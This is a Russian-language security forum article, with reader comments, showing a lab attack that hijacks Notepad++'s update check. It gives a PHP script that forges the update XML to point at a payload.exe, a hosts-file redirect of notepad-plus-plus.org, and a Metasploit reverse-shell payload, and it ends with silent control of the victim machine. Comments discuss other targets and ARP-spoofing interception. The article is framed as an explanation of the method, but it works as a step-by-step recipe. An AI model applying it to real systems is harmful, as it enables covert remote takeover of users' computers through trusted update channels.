Статья DNS Spoofing - Фейковое обновление ПО

00.jpg

Привет, codeby.net

В данной статье я хочу поговорить о теме которая меня давно интересует, а именно фейковое обновлении ПО. Мне вообще интересна тема а в частности как проводить атаки внутри сети. Одним из векторов атаки является то самое фейковое обновление ПО. Примерно год назад мне попалась на глаза программа evilgrade, сразу загорелся желанием разобраться как она работает. Попробовал разобрать с наскоку но что то пошло не так и я забил :D Сегодня я сново вернулся к этой теме и в этот раз я добился результат.

Оговорю сразу, я не даю вам четкие инструкции как вам провести данную атаку или написать код чтобы автоматизировать процесс, я опишу методологию того как это происходит и покажу пример который наглядно покажет о чем идет речь. Суть данного материала показать как работает данная атака на примитивном уровне. Давайте выйдем за рамки скрипт-кидди и повысим свой уровень знаний в данной области ;) Бездумно использовать готовый софт могут все, а понять как он работает далеко не многие.

Теория:
Прежде чем углубиться в атаку давайте разберем механизм обновление ПО.

Этапы обновление ПО:
  1. Отправляем на сервер запрос для проверки обновления (это может делать как сама программа в автоматическом режиме так и выполнен запрос в ручную)
  2. Получаем ответ от сервера
  3. Обработка ответа (если обновление есть то устанавливаем если нет то сообщаем о том что программа не имеет обновлений)
После того как у нас сформировалось понимание того как проходит процесс обновление ПО мы можем сформировать этапы атаки.

Этапы проведения атаки:
  1. Определить запрос отправленный на сервер обновления
  2. Посмотреть ответ который прислала сервер
  3. Понимаем свой сервер
  4. Реализовать атаку типа на адрес сервера обновлений
  5. Сформировать свой ответ на основе полученного ответа в пункте 2
Когда этапы атаки обозначены можно приступить к реализации. Пока что на уровне теории можете не особо понятно о чем идет речь но скоро мы перейдем к примеру который наглядно покажет что к чему. Возьмем для примера программу , она идеально подойдет для того чтобы наглядно показать данный вектор атаки.

Практика:
Для того чтобы мы могли выполнить все этапы атаки нам понадобиться следующие программы:
Начнем с установки Notepad++. После того как мы установили программу надо проверить ее обновление. Находим знак ? нажимаем на него в выпадающем меню выбираем “Обновить Notepad++”.

01.png

Появляется окно которое нам предлагает скачать обновление. Это нам как раз и надо.

02.png

Нажимаем отмена, открываем Wireshark. Выбираем сетевой адаптер (тут мог выразиться не точно).

03.png

Выставляем фильтр HTTP. Повторяем процесс запроса но обновления ждем пару секунд останавливаем Wireshark. И начинаем смотреть перехваченные пакеты. В поле info мы можем заметить что есть GET запрос с URL который начинается на update.

04.png

Просмотров данный запрос более детально мы видим Full request который ведет на URL notepad-plus-plus.org. Чтобы убедиться что это то что нам надо давайте перейдем на полный URL . В ответ мы получим XML который говорит нам о том что есть новое обновление.

XML:
<GUP>
    <NeedToBeUpdated>yes</NeedToBeUpdated>
    <Version>7.5.9</Version>
    <Location>http://notepad-plus-plus.org/repository/7.x/7.5.9/npp.7.5.9.Installer.exe</Location>
</GUP>


На этом этапе у нас есть мы нашли интересующий нас запрос и узнали какой требуются ответ чтобы его распознала программа. На этом сбор данных закончен приступим к атаке. Так как тест проводиться в лабораторных условия я некоторые моменты упростил а именно и поднятие сервера в локальной сети. Третий и четвертый пункт будут проводиться на атакуемой машине но это не столь важно так как не вредит чистоте теста.

Устанавливаем XAMPP. Включаем Apache.

05.png

Переходим в каталог где лежит сайт по умолчанию C:\xampp\htdocs. Создаем там две директории update и repository. Каталог update обязателен так как он есть в URL который запрашивает обновление там будет лежать файл getDownloadUrl.php. Директория repository не обязателен так как мы сами указываем откуда загружаться payload в XML который будем отдавать в ответ на запрос но для красоты и порядка положим именно туда нашу пользовательскую нагрузку :)

06.png

Переходим в каталог update и создаем файл getDownloadUrl.php со следующим содержанием.

PHP:
<?php
header('Content-type: text/xml');

$xml = <<<XML
<GUP>
<NeedToBeUpdated>yes</NeedToBeUpdated>
<Version>7.5.9</Version>
<Location>http://notepad-plus-plus.org/repository/payload.exe</Location>
</GUP>
XML;

echo $xml;

Данный код выводит все тот же XML который мы получили ранения с одним изменением. В тэг Location мы установили свой путь к файлу с payload который находиться в директории repository. Payload я создал на Kali. Пример как это делать можно посмотреть в статье [Metasploit] устанавливаем обратное TCP соединение через ngrok. После того как вы получили exe файл положите его в каталог repository.

Теперь давайте перейдем по адресу и убедимся что там лежит на payload файла.

07.png

А также проверим отдается ли наш сконфигурированный XML по адресу .

08.png

Если у вас все сходиться с примерами на скриншотах тогда вы делаете все правильно. Осталось совсем немного) а именно надо заставить идти запросы на наш сервер. Тут мы можем прибегнуть к но как я говорил ранее мы упростим данный шаг. Идем в каталог etc который находиться по пути C:\Windows\System32\drivers\etc и добавляем в конец файл hosts 127.0.0.1 notepad-plus-plus.org. Тем самым мы говорим нашей системе чтобы все запросы которые идут на notepad-plus-plus.org шли на locolhost. На этом подготовка закончена осталось проверить.

Идем в Notepad++ запускаем проверку обновления. Соглашаемся скачать обновления. После того как обновление скачается появиться еще одно окно.

09.png

Соглашаемся. Notepad++ закроется а наш payload выполниться. Вот мы и получили контроль над машиной в локальной сети незаметно для атакуемого пользователя.

10.png

Я надеюсь что статья была полезной и вы вынесли для себя что то новое. Данный вид атаки сработает далеко не со всеми программами. Но с какой то частью точно. Как поступить с полученными знаниями зависит только от вас ;)
 
Последнее редактирование:

GlowFisch

Green Team
26.01.2019
75
82
BIT
0
Гениально. А главное, что антивирус не сработает, файрволл будет молчать, а все потому, что обновление будет осуществлять программой из системы. Но есть одно НО! разве ПО, допустим тот же самый Chrome просто тупо скачивает обновление без проверки сертификата, подписи и хэша, установки соединений только по https и т.д. ? никакой верификации???
 

n3d.b0y

Red Team
19.01.2018
181
473
BIT
158
Гениально. А главное, что антивирус не сработает, файрволл будет молчать, а все потому, что обновление будет осуществлять программой из системы. Но есть одно НО! разве ПО, допустим тот же самый Chrome просто тупо скачивает обновление без проверки сертификата, подписи и хэша, установки соединений только по https и т.д. ? никакой верификации???

Разное ПО надо рассматривать индивидуально. Думаю что у chrome будет все намного сложнее, как раз токи там будет проверка сертификат. Почти уверен на 100%. Но не нужно упираться в один chrome, не сработало с одно программой можно найти другую ;)
 

GlowFisch

Green Team
26.01.2019
75
82
BIT
0
Разное ПО надо рассматривать индивидуально. Думаю что у chrome будет все намного сложнее, как раз токи там будет проверка сертификат. Почти уверен на 100%. Но не нужно упираться в один chrome, не сработало с одно программой можно найти другую ;)
А обновление google play market? ios? допустим у гугла провести такую атаку???
 

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
добрый вечер, а как быть с подписанными программами?
 

n3d.b0y

Red Team
19.01.2018
181
473
BIT
158
А обновление google play market? ios? допустим у гугла провести такую атаку???
Я еще не пробовал копать в этом направлении
добрый вечер, а как быть с подписанными программами?
Не дошел до этой ситуации по этому не могу сказать что делать.

p.s В ближайшем будущем хочу исследовать более сложные варианты. Если добьюсь положительного результат, тогда смогу поделиться опытом. Так как данный вектор атаки никто не раскрывает приходиться изучать все самому. У меня больше вопрос на текущий момент чем ответов)
 
Последнее редактирование:
  • Нравится
Реакции: Baracuda и kot-gor
J

Journey

first thank you for sharing, can you do that with andoid apps ??
 

xverizex

Green Team
29.12.2022
25
14
BIT
227
О, даже и не думал о таких обновлениях. Я думаю, что можно использовать arp spoofing для перехвата пакетов. Предварительно нужно написать софт, который при перехвате на определенный адрес, например на сервер notepad++, будет обрывать передачу и отправлять ответ с новым обновлением, ну и дать загрузиться. Такое возможно думаю. Только чтобы оборвать пакет, вроде нужно использовать bpf или firewall настроенный на определенные адреса исходящие.
 

xverizex

Green Team
29.12.2022
25
14
BIT
227
Интересно, можно ли написать драйвер или с помощью bpf сделать так, чтобы нужный запрос переадресовать к себе, чтобы всего подключения к другому хосту приравнивались как к твоему. тогда бы можно было упростить некоторые вещи в плане генерации пакетов tcp и так далее.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!